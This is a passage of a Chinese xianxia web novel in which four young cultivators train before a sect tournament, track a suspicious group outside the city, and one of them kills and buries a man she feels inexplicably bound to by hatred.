这样好的保护,这样收放有度的教导,其实不摆脱也没什么,楚悯觉得他不必急于这一时。 不过她没有劝解别人的习惯,所以没多嘴,只是尽自己所能,能帮多少是多少,也不知道那沓“寻踪”可曾派上用场。 楚悯抱着琴在角落坐了大约半炷香的工夫,意料之中的,没能再听见那种若有似无的琴音,也没能想起自己究竟是如何得到的这张琴,索性站起身再度往外走,打算顺着痕迹去看看叶泯进展如何。 灵兽所在的方向毕竟是琴音先告知的她,她再用“寻踪”指引的叶泯,此刻找起方向来自然得心应手。 翠屏山即将举行仙门大比,又在此时被震塌了弟子院,此刻想来是左支右绌,顾不上她这个不速之客了。 不速之客…… 楚悯的脚步一顿,忽而想起一件事来。 叶泯是同兄长一道来的,应当还有师门中人同行,那她呢?她知道自己绝非散修而是出身天问,天问的人呢?此刻又在何处? 楚悯皱起眉头,总觉得此事不大对劲。 她甚至连自己为何会来到此地都不清楚,叶泯说她是被自己牵连才进的地牢,可她又为何会跟叶泯一同现身? 仿佛她平白缺少了一段记忆似的…… 她没了房屋作为遮蔽,走在路上又神思不属,这在很可能被潜在敌人追拿的情况下并不是什么好事,只是她沉在记忆里没回过神,也就忽略了身后逐渐靠近的脚步声。 待到她回过神来,那脚步声已经近得避无可避,一时之间,骤然被她勾起的琴弦在指尖之下绷紧到了极致,方才那一招足以震塌地牢的杀招被她凝聚在指尖,瞬息之间便要释放出去。 “且慢,姑娘,我不是翠屏山弟子。”来者忽而开口说道。 是个年轻姑娘的声音。 碰面便自报家门,还着重强调了自己不是翠屏山弟子,即便不是要捉拿她的人,也不是什么等闲之辈,她没将此话放在心上,转过身的同时,指尖那道锋锐无比的琴音就要释放出去。 ——而在转身的一刹那,她看清了来人的脸。 这一瞬间,那久未造访的琴音再次响起,清泉一般拂过她的耳畔,带着些无法言喻的力量,将她指尖的杀招倏地吹散了。 来人看见她也是一愣;“我们……是不是在哪见过?” **** 没了灵笼,灵犀这样大的身型想要遮蔽行踪便十分困难,好在叶泯虽把脑子睡坏了,但还记得缩小身型的术法,将变小了十倍不止的灵犀绕在腕上,充当一条触手冰凉的绳子。 他没想到这山洞就在下山必经之路旁,竟无人看守,救出灵犀后依旧十分警醒,思忖片刻,觉得灯下黑的翠屏山想必一定是最安全的,于是便踏上小路往回走。 只是还没走出多远,便听见三道不同的脚步声向山下而来,登时又揣着一肚子的忐忑躲到了隐蔽之处。 那三道脚步声有轻有重,但都很急促,一叠声地在小路上响起来,想必会激起不少尘灰。 叶泯本该在此时全神贯注地戒备,思绪却突兀地打了个茬,莫名想起跟哥哥一起上山时的景象来:翠屏山有大路和正门,他们当时为何要走小路来着?难道灵兽派并未受到邀请,所以才那般鬼鬼祟祟? 他被自己怪异的想法扎了一下,一时之间面色复杂,不知道到底是翠屏山长老做了污遭事要灭他口过分些,还是他和哥哥没有邀请便不请自来过分些。 还没等他判出个子丑寅卯,那三道脚步声的主人们露了面。 叶泯借着山壁的遮掩往外一看,竟看见楚悯赫然在列,惊得被口水呛住,险些呛咳起来。 他把天崩地裂憋了回去,可到底是没瞒过楚悯,只见她直奔自己而来,像是全然没感觉到他在遮掩行迹一般,走到他近前说道:“出来吧。” 方才被他憋回去的天崩地裂还是找上了他的咽喉,叶泯伸手遮住口鼻咳了个天昏地暗,两眼还花着就要说话:“他们是……” 答话的却不是楚悯。 方才在他眼前一闪而过的两个声音先后说道:“在下翠屏山内门弟子,也是为了查丹药一事才经此道下山,并无恶意。” 另一个女声道:“好说,我连翠屏山弟子都不是,不用防备我。” 叶泯还没听过这么别开生面的自我介绍,一时好奇心占了上风,把本就不多的戒备一巴掌扇飞了。他从藏身的地方探出半个身子,往外看了一眼。 这一眼看得他心里涌现出一阵说不清道不明的熟悉:奇怪,怎么跟他第一眼见到楚悯时的感觉似的,明明对他们的样貌毫无记忆,但就是有种似曾相识的感觉? 他才这么大点年纪,整日待在自家门派里,出门也多是在林间当个流窜的猢狲,究竟是上哪儿去和这三人“似曾相识”的? 叶泯出身灵兽派,行事作风有点像是产自灵兽派的那帮乐器,凡事都讲究一个随性而为,此刻见来人无端眼熟,也不躲了,干脆在楚悯之后走了出来。 四人站在下山的土路上,一时之间没人开口,想的却都是同一件事:自己究竟上哪儿认识了三个不记得但无端熟悉的人? 关云铮那不忍心看场子冷掉的毛病又犯了,见没人打算开口,自己先硬着头皮说道:“你们这样躲下去不是办法,不如随我们一起调查此事,倘若遇事,人多也好解决。” 为免没人接话,她习惯性地在正经话后面又接了句不正经的,抬手一指一旁的谭一筠:“这位是翠屏山自己人,想必是灯下最黑的,跟着他不至于被人随便抓了。” 三言两语,谭一筠直接被她绑上贼船,一时之间不知道她之前是怎么有脸,说出自己“半个身子在贼船上”这样的话的。 这种被坑的感觉无端熟悉极了,他简直一点也生不起气来,好脾气地接话道:“是啊,不如就随我一道,我让师父替你们遮掩身份。” 事到如今,为免这小船不翻,只好拉个有本事的压阵了,师父,对不住了!—— 作者有话说:长恨人心不如水,等闲平地起波澜。——刘禹锡《竹枝词九首》 (其实感觉知名度比较高但还是标注一下引用比较好) 想要评论[可怜][可怜] 第125章 仙门大比说起来是汇聚天下有能修士的盛会, 实则只是名头好听,对于操办此事的门派来说,全然是个吃力不讨好的苦差。 从前仙盟不曾撺掇集中教习的时候, 仙门大比还是很有些花样的, 毕竟大家学的功夫全都来自各门各派,不曾互通过长短优劣, 到了大比时一亮相, 那叫一个异彩纷呈。况且各门派关起门来教导弟子,到了一年结束要查验弟子资质时,多少都带着些显摆的意思,自然都很愿意揽下这累活,上赶着操办此事的门派很多。 可时至今日,连弟子教习都是放在一起学的, 初入门的年轻弟子最是洁白无瑕,往上面涂抹什么颜色就能变成什么颜色, 一大帮人聚在一起听一样的教导,一年之后功夫也就都差不多了, 没什么新鲜的。 大比没了看头, 集中教习又劳神伤财,也就只有翠屏山这样家大业大的门派,在承接了一年的集中教习之后, 还愿意接过操办大比这重担了。 门派有钱, 可不得使劲造么。 关云铮对此深以为然。 她听谭一筠介绍了一盏茶的时间,什么界定参与者资质,确认参与者名单,资质核验,名牌制作, 住宿安排,比试场次安排……一箩筐该做的事说下来,脑袋都快变成两个大了,实在想不通翠屏山究竟是多有钱有闲,愿意折腾这么一大通。 谭一筠也是近日来没少帮着忙里忙外才知道这些,叹了口气继续说道:“光是界定资质就吵了半月有余,我派长老认为弟子们未曾筑基也可参与,毕竟一年时间说长不长说短不短,不必太过苛刻;仙盟中人却非说来人必须要筑基中期,否则打起架来没有看头。” 叶泯喝了口竹叶茶:“脑子生锈了?不就是他们非得撺掇这个集中教习,才让大比没有看头的?”哦,到了要比试的时候,又觉得弟子们招式都一样没看头,要用修为的高低来营造看头了,敢情不是他们上场被打成猪头。 关云铮总觉得仙盟这做派她早就习惯了似的,没叶泯这么大的火气,还顺手给他递了块茶酥:“这个味道不错,尝尝。” “真的?”叶泯伸手接过,十分信任关云铮的说辞,低头便咬了一口,“好吃!” 品味得到了认可的关云铮有些得意地“哼”了声,又把另一块递给一旁一直没说话的楚悯:“小悯也尝尝。” 谭一筠说着正事,结果身边的同伴全都为一盘茶酥而拜服,似乎全然没把仙门大比放在心上,顿时也觉得自己话多了,笑着摇了摇头不再多说,伸手拿起一块点心。 这其实是近日来四人为数不多的清闲。 仙门大比正式开始还需耗上好些时日,翠屏山中那些阴谋也尚在蛰伏,兰珏作为他们在门派中的“保护伞”,发挥作用的同时也没让他们闲着,这几日关云铮一直在跟着她学轻功,叶泯和楚悯则时不时受她指点,在音修一道上有了些进益。 这样一来,正牌弟子谭一筠反而是四人中最闲的,平日里另外三人挨个被兰珏磋磨时,他就揣着那把叫子不语的扇子在一边悠闲地坐着,好不缺德。 关云铮其实没有跟兰珏学东西的想法,她甚至一度觉得,自己一个没有师承的散修,混在这三位出自名门的同伴之间很不够格。 不知兰珏究竟是怎么想的,决定帮着楚悯和叶泯掩藏行迹的当日便把她叫到面前,问她想不想学轻功。 关云铮彼时一脸茫然,实在想不通这一问究竟从何而来,干脆老实问道:“前辈为何想教我?” 兰珏作思索状:“看你合眼缘,随便教教?” 关云铮皱眉:“这也行?” 兰珏放声大笑,笑了好一会儿才收敛笑意,有些正色地对她说道:“你行事没什么忌惮,这很好,于你修炼上大有裨益,但若是遇到短时间内难敌其锐的对手,你也该懂得暂避锋芒,不要逞一时意气。” 关云铮闻言一愣,总觉得兰珏此言有些“交浅言深”,自己只是个同她见了一两面,认识总共不到一天时间的外人,怎么就值得她说这些? 但撇去这一层关系,这话还是很实在的,故而她没发问,而是“嗯”了一声:“我记住了。” 兰珏转而又笑道:“记不住也不要紧,我教你轻功就是想让你打不过就跑,留住你这条小命比较重要。” 关云铮也笑起来:“那前辈,我们何时开始学?” 她话音未落,兰珏已经一朵云似的“飘”了起来。只见她足尖微一点地,便衣袖翻飞着掠上了屋顶,轻飘飘地在屋檐一角站定,像个出尘绝世的“脊兽”。 青色的衣袍被微风一吹,露出里头白的内衬,远望去,倒真像株遗世独立的兰草了。 “就此刻。” **** 楚悯算是在地牢中悟了道,但那“道”究竟是什么,她还不甚分明。她总觉得自己像是借着水面望月,月的圆缺是看明白了,但月在何处,离自己有多远,却被水面搅得扑朔迷离。 更不用说她心头还有些旁的疑惑,仿佛水潭边不时搅扰的清风似的,动辄将月亮吹碎,让她悟不确切。 兰珏究竟是个什么修没人清楚,问谭一筠他也总装不知道。本以为翠屏山没什么音修,没想到兰珏连音修一道都略通一二,而且还是自谦过的“一二”,实则大概有“五六”那么多,指点楚悯和叶泯两个初入门的音修很是够用了。 楚悯简单说了说自己在地牢中捕捉到的“琴音”,兰珏便了然道:“你可曾听过风?” 听风? 楚悯一愣,那种似曾相识的感觉又缠了上来,她总觉得自己似乎在哪里确实干过这么一件事…… 兰珏也只是随口一问,没指着她立即回答,顺着方才的话继续说道:“现今各大仙门中音修相对少见,是因为教条之下出不了如此灵动的流派,此派讲究的更多是一种玄之又玄的‘感觉’,而非剑招那般看得见摸得着的实体。” 她一转眼看见了坐在一边的叶泯,抬手指向他:“至于鹧鸪山中的灵兽派,他们与寻常的音修也不大相同。鹧鸪山地处偏僻,早年前雾瘴遍布,其实不宜居住,后来人越来越多,在平原争不到地盘的人只好往山中跑,不知通过什么法子驱散了所住之处的雾瘴,但外头的依旧笼罩着山头,是以安宁了好些年。” 这故事叶泯倒是知道,几乎是靠鹧鸪山生活的这几辈人口口相传的老故事了。 “不与外界互通的地方容易脱节,”兰珏说得口干,给自己倒了盏茶,两口便喝下去一半,这才接着说道,“鹧鸪山中的飞禽走兽与外界脱节,人也脱了节,受山中丰沛的灵气浸染,从小便精通音律的人变得和落地就有修为的灵兽一样多。” 叶泯一口茶酥梗在喉口,总感觉兰珏这话意有所指,顿时忐忑不安起来。 好在兰珏并没有问他幼时是否精通音律,想来就算想知道,答案也能从他如今的水平中窥见端倪。 兰珏自觉扯远了,回过神来说道:“总之,要想在音修一道上走得更远,依我个人之见,便是要多接触天然之物,返璞归真,放下心中芜杂种种,顺应本心。” 她像是想起了什么有意思的事,忽而漏了一声笑:“要我看,你们去山下那湖边玩一玩,便是个不错的主意。” 正埋头吃点心的关云铮抬起头:“山下还有湖?” 兰珏颔首:“小筠,带他们去玩吧,不到天黑别回来。” 关云铮:“?”这是真让他们去玩,还是有什么事要做,想把他们支开? 谭一筠没心没肺地应道:“是,师父。” 他一收子不语,把扇子随手一抛,任由它浮在自己身后,推着三人向外走:“走了,带你们去采莲子吃。” 楚悯和叶泯的三脚猫障眼法在门派中自然不够看,故而在兰珏答应为他们掩饰的当日,便由她施了两个障眼法补上,两人才得以在门中自如行走,此刻要下山也不用担心出不了门禁。 只是“不到天黑别回来”究竟是什么意思? 关云铮和楚悯仍在怀疑,心大如叶泯,已经因为谭一筠方才那句“采莲子”而心旌摇曳了起来:“这季节山下便有莲子了吗?” 两个姑娘一同没好气道:“你怎么就知道吃!” **** 等到四人到了山下湖边,关云铮才有些明白兰珏让他们“不到天黑别回来”是何用意。 他们下山时正好是一日中日光最盛的午后,昨日山下落了一场雨,莲叶上盛着的露珠尚未完全蒸发,莲花又盛放得千姿百态,对于乘舟从中穿行而过来说,是再好不过的时段。 她一上了小船划入莲叶之间,便有些乐不思蜀,虽然还不大会掌控船只行进的方向,随波逐流也别有一番乐趣。更别说莲叶高大得能遮阳,她还能从底下摘几个脆嫩的莲蓬,一时美得分不清天上人间,险些仰面躺在船舱里就这样睡过去。 还是妄图掌控船桨却把船划得左摇右晃的叶泯“咚”一声撞上了她的船,关云铮才从未饮先醉的醺醺然中清醒过来。 她一睁眼才发现日头已经快落下去了,从莲叶间流下来的阳光变得温和而不烫手,颜色也从耀眼的白炽变为了温和的暖黄。 关云铮一骨碌从船舱里爬起来:“还赶得上看落日吗?方才谭兄是不是说湖边能看到落日来着?” 楚悯始终坐在她身侧,闻言像是“听”了一番莲叶的低语似的,笑着说道:“能赶上。” 关云铮得了她肯定的回答,一把抄起船桨,茅塞顿开似的,几个动作间,船只便随水滑出去几丈远。 落在最后的叶泯一脸茫然与愤懑:“你何时学会的?!” 关云铮冲他比了个鬼脸:“方才我都是装的。” 她撂下这一句足以将人气死的话,乐不可支地操控着船桨,逐渐走远了。 谭一筠见多了莲湖落日,早已不觉得稀奇了,但叶泯还没见过,便好心肠地跳到叶泯的小船上,想要帮他操纵船桨。 谁料他低估了自己的重量,又高估了叶泯的技艺,还没等他平稳落在船舱里,那船便剧烈地一晃,把两个尚未站稳的人都甩进了湖水里。 关云铮老远听见动静一回头,便看见那艘船上无人,船边反倒浮出两个湿淋淋的脑袋,顿时笑得差点从船舱里翻下去:“哈哈哈哈哈……” 楚悯一把托住她的胳膊肘,示意她向身后远处看。 那落日黄澄澄的,还没到如血的阶段,依旧耀眼得不能久视,将粼粼的湖面泼成了“浮光跃金”最好的写照。 关云铮坐在船头遥望落日,终于明白了兰珏的用意。 茫茫天地,何其辽阔。 **** 散修不比有师门倚仗的各大仙门弟子,单是前来翠屏山的路途便多有受限,多半供不起大型灵舟,御剑又飞不远,乘船或是骑马的居多,耗费的时间也就更长些,为了赶上大比,城中先到的多数是散修。 不过也有例外。 关云铮被莲心茶苦得脸都皱起来了,还没忘了说正事,只不过舌头都大了:“方才路过的那一行人不是寻常散修吧?” 叶泯看她脸色,拿起茶盏的动作愣是僵在了半途,片刻后服从内心将茶盏放了回去,接话道:“怎么,看出什么了?” 一口莲心茶差点让关云铮失去语言功能,她咬了咬舌尖,还是没能摆脱那种让人浑身冒鸡皮疙瘩的苦味,连忙端起汤盅喝了一口甜汤,顿时又被齁了个仰倒。 但甜苦中和,她终于是能好好说话了:“这几日碰见的散修多数都互不相识,多是独自行动,偶有结伴也不会有这样庞大的队伍,毕竟太引人注目了。方才那队人虽然刻意走得分散了些,但其实维持的距离一直是稳定的,想来大概是彼此熟识。” 这话说着说着,一个地狱笑话又滑到了她的嘴边,被她无声咽了:她上次看到这种维持稳定距离的队伍还是送葬的。 “我记得子不语记录过来客名单?”楚悯看向正靠在窗边往下看的谭一筠。 他没回头,子不语已随他心意而动,在空中自行打开,随即扇面上缓缓显示出墨迹。 关云铮夹了块排骨,心说这法器可真是物肖其主,每每发挥作用时都能装一波大的。 可惜子不语博闻强识,名单却没有记录来客的样貌,毕竟这里是修仙世界,没有让人又爱又恨的大数据。 是以哪怕子不语调出了名单,他们也无从得知方才从楼下路过的究竟是不是名单上的人。 谭一筠自然也明白这一点,目光在楼下停留了片刻就收了回来,然后惊觉桌上的菜已经快被另外三人消灭干净了。 “你们好歹给我留点啊!”谭一筠震怒了。 关云铮从乾坤袋里随手摸出一张银票拍在桌上:“你再点几道菜不就行了。” 财大气粗的气质扑面而来,谭一筠失语:“有时候我真的很好奇,你当真没有师承吗?” 叶泯吃完了最后一块排骨:“云铮这种气度,没准是因为出身呢,倒也未必是师承吧?你为什么总认为是跟师承有关?” 谭一筠把那张险些被风吹走的银票捞过来,又抬手指了指子不语的扇面,那扇面应他动作,其他墨迹渐次褪去,只剩下一行人名。 楚悯正对那扇面而坐,一抬头,那行墨迹就这么撞入她眼帘:“归墟?” 谭一筠把身子探出屏风,招呼了一声店小二,低声吩咐了几句,说完后又坐回原位:“我听师父说,归墟苍生道这两年收了个新徒弟,跟那富家公子出身的师父如出一辙,只差没上街丢金叶子玩了。” 关云铮一挑眉:“这么阔绰?我可比不上。” 楚悯失笑:“你这随手掏钱就是这么大张银票的行事作风,也不遑多让了。” 他们所在之处是翠屏山下城中最繁华的一座酒楼,四人吃饭用不上进雅间,但他们又不是寻常客人,店主人不敢怠慢,特地在二楼窗边的位置为他们辟了个空间,用三扇屏风隔开了周遭,坐的都是美人靠这样的软座,吃累了往上一躺,睡到太阳落山都没人来赶。 至于进这酒楼后花的钱……自然还是关云铮掏的。 本来谭一筠也算小有积蓄,他师父给零花很是大方,从来不问他先前的花完没有,想起就给,偶尔心情格外好时还成倍地给——虽然他也不知道自己师父的钱是从哪来的。 按理来说同伴们都是从别处来的,他理应尽地主之谊请大家吃顿好的,谁料走到半道,关云铮想起什么似的往乾坤袋中一摸,摸出一沓银票来。 叶泯那时正抱着一个莲蓬剥莲子吃,这几日来他吃莲子的技艺日渐娴熟,能够预先将莲心去了再丢进嘴里,见了关云铮手中那一沓银票一时惊呆了,直接将没去掉莲心的莲子丢入了口中。 好在新鲜莲子的心倒也不算特别苦。 天爷,还是第一次见成沓出现的银票。叶泯心想。 谭一筠被吓得立马把她的手又按回了乾坤袋里:“祖宗,你拿一张就行了,拿这么多做什么!大街上这么多人,财不外露!” 关云铮顺从地“哦”了一声,有些困惑地把银票又塞回了乾坤袋里。 她虽有些想不通自己何时变得这般有钱,但她觉得自己大概干不出刑法上来钱特别快的那些脏事,所以心安理得地把这事抛诸脑后了,起了个别的话头:“这样看来,乾坤袋也可以算是随心意的法器?每次想找什么立刻就能摸到,还以为要翻找一番呢。” 楚悯思索片刻:“算是吧?真是奇怪,你说起此事我才发觉,以前都习惯了。” 关云铮搭上她的肩膀:“奇怪的事多了呢,懒得想,先吃饭吧,想吃什么我请客!” ——进酒楼前便是这么个景象。 酒楼的厨子想必也知道他们这一桌都是有钱的年轻修士,出菜的速度快极了,谭一筠才吩咐下去没一炷香的工夫,好几道菜便一同端上来了,他一面吃一面说道:“既然想不明白,不如吃完去查探一番?” **** 这一查探还真查出了点问题。 仙门大比尚在筹备阶段,之前紧急的事态几乎停滞,四人却并未放低戒备。 楚悯循着方才那行人留下的“踪迹”,领着另外三人在人群中前行。 叶泯马后炮似的感慨道:“早知当时应该让楚姑娘同我一道去救灵犀,这不比‘寻踪’快多了。” “说起灵犀,我还是想不明白为何你救出它的那个山洞无人看守,难道就像你和小悯被关进地牢,乾坤袋却不曾被人收缴一样,是有人暗中帮忙?”关云铮之前听他们说起此事时,就怀疑过究竟是谁在背后帮忙,但是没有实证,推断不出具体的人选。 “你崔师弟呢?这几日安全吗?”她忽而转头看向身后的谭一筠。 谭一筠一愣,随即确定地对她点了点头:“安全,今早我才与他说过话。” 关云铮放下心来,左右两件事都是他们受益,帮助他们的人究竟是谁,又出于什么目的,暂且没有目前在追踪的这伙人重要。 毕竟——她有种隐约的预感,这些人并不是来参加仙门大比的。 自从兰珏让他们顺应本心,除了最需要“接触自然”的楚悯和叶泯,关云铮也没少顺从本心做事。虽然还没过去二十一天,这个习惯尚未完全养成,但她现今遇事已经能产生一种非常朦胧的感觉……大概就像小悯听见的若有似无的琴音,是一种隐约的提醒。 就在此时,走在最前方的楚悯忽然“嗯?”了一声。 “怎么了?”关云铮走到她身侧。 “这是……出城的方向?”楚悯看向同样走到她身侧的谭一筠。 谭一筠皱起眉头:“他们去城外做什么?” “去看看不就知道了。”叶泯用食指指尖蹭了蹭绕在腕上的灵犀。 四人在此事上达成一致,一同循着踪迹继续往城外走。 “城外有什么?他们这么多人,总得找个地方落脚吧,难道干站着?”关云铮边走边问道。 “有个破庙,除此之外只剩下一些荒坟了,平日里大家都不爱去。”谭一筠有问必答。 出城的路只有一条,楚悯确认过踪迹的延伸方向后,便不再全心专注于追踪,收回心神:“城中这样热闹,城外怎会荒成这样?” “城中繁华是依托着与山上的贸易往来,加上仙门之间彼此通讯,才能逐渐发展成如今的模样,城外没有仙门,自然没人愿意去。” “这倒也是。”楚悯收回目光,叹了口气,“毕竟到处都在闹灾荒,能有这样的城镇已经很是不易了。” 城里城外的界线其实不很分明,但眼看着脚下的路从砖石铺就的大路变为平整的黄土路,又变成凹凸不平的小路,便是从城内来到了城外。 那破庙比荒坟离城镇近些,没走几步路就能看见塌了一角的屋顶,关云铮隔着这段距离,敏锐地捕捉到了里面传来的隐约人声。 “在里面。”楚悯与她一同低声说道。 还没等他们商量好对策,那人声越来越大,破庙门口忽然走出几人。 好在他们本就躲在隐蔽处,不至于在众目睽睽之下无处可逃。 不过以目前两方之间的距离来看,他们也实在不便再折腾出什么动静了,毕竟关云铮缩在这,连那些人的脸都看得清。 等等。 她察觉到不对,目光再度转向方才一触即走的那张脸上。 这一瞬间,仿佛自骨髓深处升起了一股钻心的疼痛,不由分说地缠住了她的四肢百骸。 这疼痛来得毫无预兆,像有人往她浑身的穴位里先扎进了几十根冰水浸过的针,没等她适应那种寒冷,又扎进来几十根被火烤得滚烫的针,冰火两重夹击之下,她直接被扎成了个面瘫。 她几乎有点不受控制地想要发抖,又咬着牙克制住了这种冲动,一时之间两颊绷得紧极了,面色都发白起来。 蹲在她身侧的楚悯感觉到不对劲,看清她的脸色后被吓了一跳,正要开口,便被关云铮按住了她伸过来的手。 关云铮压抑着自己的呼吸,对楚悯摇了摇头:“从左往右数第三个人,我或许认得。” 谭一筠侧眸看她,同样被她脸色吓了一跳:“你认得他?” 叶泯应声看过来,关云铮疲惫地叹了口气:“你就别再吓一跳了,我知道我的脸色很难看。” 本来确实被吓了一跳,立时要流露出忧虑的叶泯被关云铮哽得不轻,几息过去才说:“你认得他,那他想必不是此地人?在此地又是要做什么?” 关云铮连自己为何在此地都不清楚,怎么可能答得上来这一串问题,只知道她不会因为无关之人产生这么大的反应,所以此人必然跟她有某种关系。 冷热交替般的疼痛依旧没有放过她,但兴许是疼痛太过,这短短一会儿工夫,关云铮已经有些麻木了。她眨掉睫毛上的冷汗,看见不远处那人与同他站在一块的人交流了一番,随后态度谦卑地福了福身子,低声说了些什么。 余下几人转身回了破庙,那人独身向外走,看样子是打算沿着小路,往更荒郊野外的地方走。 关云铮猛地提着剑站了起来。 还没等另外三人出言阻止,她已经不动声色地往自己身上施了个遮掩行迹的障眼法,随即脚不沾地地飞掠而去,几息之内跟上了那个可疑之人,两人的身影很快便一同消失在视野里。 留下三人在原地面面相觑。 叶泯没干过盯梢的事,更别说中途还跑了个同伴去追别人了,他有些反应不过来,茫然地看向楚悯和谭一筠:“这是怎么了?” 谭一筠倒是干过盯梢之类的事,但中途跑了个同伴这事他还真没经历过,脸上的神情几乎是和叶泯如出一辙的茫然,还多了些忧虑:“那人身份不明,云铮就这样贸然追上去……” 唯有楚悯在忧虑片刻之后又收回了心绪,冷静道:“正好,以免有漏网之鱼,我们负责盯着破庙里这帮人。” 谭一筠和叶泯顿时叹服:“还得是楚姑娘。” 楚悯不知何时捧出了她的琴,一只手更是已经按在了琴弦之上:“少吹捧我了,我们得靠近些,去听听他们究竟在谋划些什么。” **** 城外人迹罕至,林木因此恣意地长了一大片,不知是不是逐渐靠近墓地的缘故,树木也长得越发高大起来,颇有些遮天蔽日的意思。 关云铮一路追到了谭一筠先前所说的荒坟,终于放慢了脚步。倒不是她追踪之人也不再往前走了,只是她觉得眼下的幻境倒蛮适合诈上一诈的。 毕竟她尚且不知那人究竟和她有什么牵扯,那疼痛来得快去得也快,但实在扎得人无法忍受,她不可能放任此人就这么脱离她的视线,非得当下查明白不可。 兰珏可能也想不到自己几日来的教导,把关云铮变成了个遇事越发随心而为的性子,小有所成的轻功也变成了她胆大包天的倚仗。 这几日来除了轻功,兰珏施展障眼法时她也没少观摩,半观察半领悟,摸到了一点门道,此刻放出去刺探虚实正好。 “啪”的一声轻响,走在前头的人脚下一顿。 作为小学建在坟边,初中建在监狱背后的人来说,关云铮对这种左右错落的坟包适应良好,只要不是大晚上有野猫凄声哀嚎,再搭配上鬼片的恐怖音效,一般不会感到害怕。 但老话能传下来自然有一定的道理,她自己固然不怕在青天白日撞见鬼,但做过亏心事的可不一定不怕鬼敲门。 不过很遗憾,那几簇幽幽的鬼火只绊住了前头那人几息的工夫,只见他脚步微顿,很快便动作如常地继续往前走。 两人一个走一个追已经走出去了好些距离,不用担心破庙那边的人被这边吸引注意力,关云铮也索性不再演了,将自己身上障眼法的痕迹抹了,大摇大摆地拎着剑走出来。 还刻意踩断了一根树枝。 虽然她看古装剧时总吐槽角色偷听时发出动静,但她现在又不打算偷听,就得闹出点动静来才行。 前面那人的脚步再次停顿,随即猛地转过身来,脸上的凶狠神色却在看清关云铮样貌后倏地消散了,甚至变得有些愣怔。 他果然也认识我。关云铮面无表情地想。 与此同时,不同于方才那种从骨头里冒出来的刺痛,她感到自己心中无端涌现出了一股滔天的恨意,仿佛眼前此人与她有着莫大的仇恨。 这情绪来得莫名其妙且毫不讲理,像一针强效肾上腺素,瞬间逼红了她的双眼。 她为何会对这样一个堪称陌生的人有这么深重的恨意? 关云铮几乎有些茫然地看着那人走近。 “你怎会在翠屏城?你家人知道吗?”那人貌似与她十分熟稔,一面走一面问道。 家人?他为什么还认得她的家人? “正好我也打算回去了,不如载你一程?马车就在前面。”那人走到了她面前,殷切地说道。 关云铮感觉自己又是被疼痛鞭打,又是被恨意煎熬,快变成个彻头彻尾的面瘫了,一时之间竟把方才想好的措辞都抛诸脑后,开口便问道:“你又是为何而来?” 那人闻言一愣:“我自然是因为……” 他话还没说完,关云铮已经冷了脸色。 他要撒谎。他一定另有所图。 心脏不受控制一般在胸腔中剧烈跳动着,关云铮盯着眼前人的脸,脑海中忽然冒出一句话来。 ——我要杀了他。 兴许是她面色变化过于骇人,那人情不自禁地往后退了一步:“怎么了?你暂时不想回去?那我先回去替你知会一声也是可以的。” 关云铮反手背到身后,张开五指握住剑柄,缓缓将剑从剑鞘中抽了出来:“我不回去。” 剑光刹那间雪亮,面对普通人时几乎没有令其躲闪的余地,一剑势如满月,一捧血应声喷洒而出。 “你也别想走。” **** 楚悯几人赶到时被面前的景象吓了一跳。 关云铮靠在树上面无表情地用一块布擦着剑上的血迹,而方才那人已经倒在血泊中没了气。 谭一筠虽然知道调查丹药一事迟早走到这一步,但没想到会来得这样快,一时有些愣住,好半晌过去才说道:“破庙中几人谈话我们已经探听清楚了,其中半数是邪修门派鬼灯楼的人,剩下的多是散修。”他的目光再度看向地上那具死不瞑目的尸体,“此人是来翠屏城求药的普通人,才和那几人谈拢,似乎叫作……” “季邕。”正在擦剑的人头也不抬地说道。 叶泯无法正视那尸体的双眼,默默绕到关云铮身侧站定:“你怎么知道他叫什么?啊对,你认识他,所以这是想起他是谁了?” 剑身上的血迹终于被擦拭干净,关云铮随手把沾了血迹的布丢到季邕脸上:“不重要,继续说你们的发现。” 楚悯默不作声地看了眼那正好盖住季邕整张脸的布:“出身鬼灯楼的那几人也在追查近日城中出现的修炼丹药,此事很有可能并非出自他们之手。另外几个散修也多是丹修出身,密谈时说起,那丹药品质十分纯粹,不是散修拥有的炉子和灵气所能淬炼出来的。” 倒是不意外,毕竟叶泯可是当面撞破了翠屏山长老密谋的幸存者,清楚那些丹药究竟出自何人之手。 “但是那几个鬼灯楼的也说,近日来他们在城中很不好混,因为翠屏城中开始有传言,说奔赴仙门大比的部分修士下落不明,极有可能是遭了邪修的毒手。”叶泯补充道。 真是好一出贼喊捉贼,没准这传言就是那帮抓人炼丹的长老传出来的,鬼灯楼声名狼藉,还偏偏在这个当口来了翠屏城,抓来当替罪羊简直再合适不过了。 “其他的……就没什么新鲜的了,我本来还捏了个阵法,楚姑娘琴弦都绷紧了,谁料那些人跟聋子一般,什么动静也没注意到,说完车轱辘话后便离开了。”谭一筠最后说道。 叶泯艰难地忍了忍,还是没忍住:“云铮,此人……” 关云铮现下不想在此事上多做解释,随口说道:“就地埋了吧,就当给这片林子堆肥了。” 叶泯打了个哆嗦,不由得看向一旁的谭一筠。 天杀的究竟有没有人能来告诉他,怎么同伴跑出去一会儿就变成这样了! 地上的人死于一剑封喉,血喷溅出去一尺多远,想来这一剑十分精准、狠厉,避无可避。 实力太过悬殊,这几乎是一次单方面的杀戮,单从事件本身来看,其实是很不人道的。 只是此事非常奇怪,他们都未曾见过关云铮杀人,但也知道若不是有什么深仇大恨,关云铮几乎是他们四人中最平和、最讲道理的一个。 楚悯被关久了会用琴炸地牢,叶泯气急了会放蛇咬人,谭一筠怒火攻心时都会用几个无伤大雅的小阵法给人使绊子,唯有关云铮不会。 她虽然嘴上总是不饶人,实际日常的脾气好得就像是没有脾气一般,但凡有点什么也总是先向内自省而非向外苛责,很少会有这样情绪起伏、“不讲道理”的时刻。 只是再惊慌失措、百思不得其解,人也已经杀了,谭一筠只好收起自己那满腔没见过世面的愁绪,做出一副稳重的样子:“既如此,只好先将此人埋了,再回去禀报师父了。”—— 作者有话说:加更章。 评论摩多摩多[可怜] 第126章 四人没有杀人埋尸的经验, 唯一有经验的暂时也只会杀人,因此掩埋季邕尸体时动作很是生疏。 好在破庙里那帮人早就走了,没人知道先前还在与他们交谈的人已经死在了荒坟之间, 变成了另一个无人问津的土包。 虽然明白关云铮动手杀人一定有其缘由, 但此事还是太突然了,叶泯木然地填上了最后一铲土, 实在不敢触关云铮的霉头, 只好拣软柿子捏,转头看向把铲子拿出来的谭一筠:“你是不是该解释一番,为何你的乾坤袋里放着铲子?” 谭一筠同样神色木然:“应该是师父以前种花时顺手塞的。” 楚悯实在想笑,然而此情此景之下只能努力绷住嘴角:“好了,先回去吧,此处不是交谈之地。” 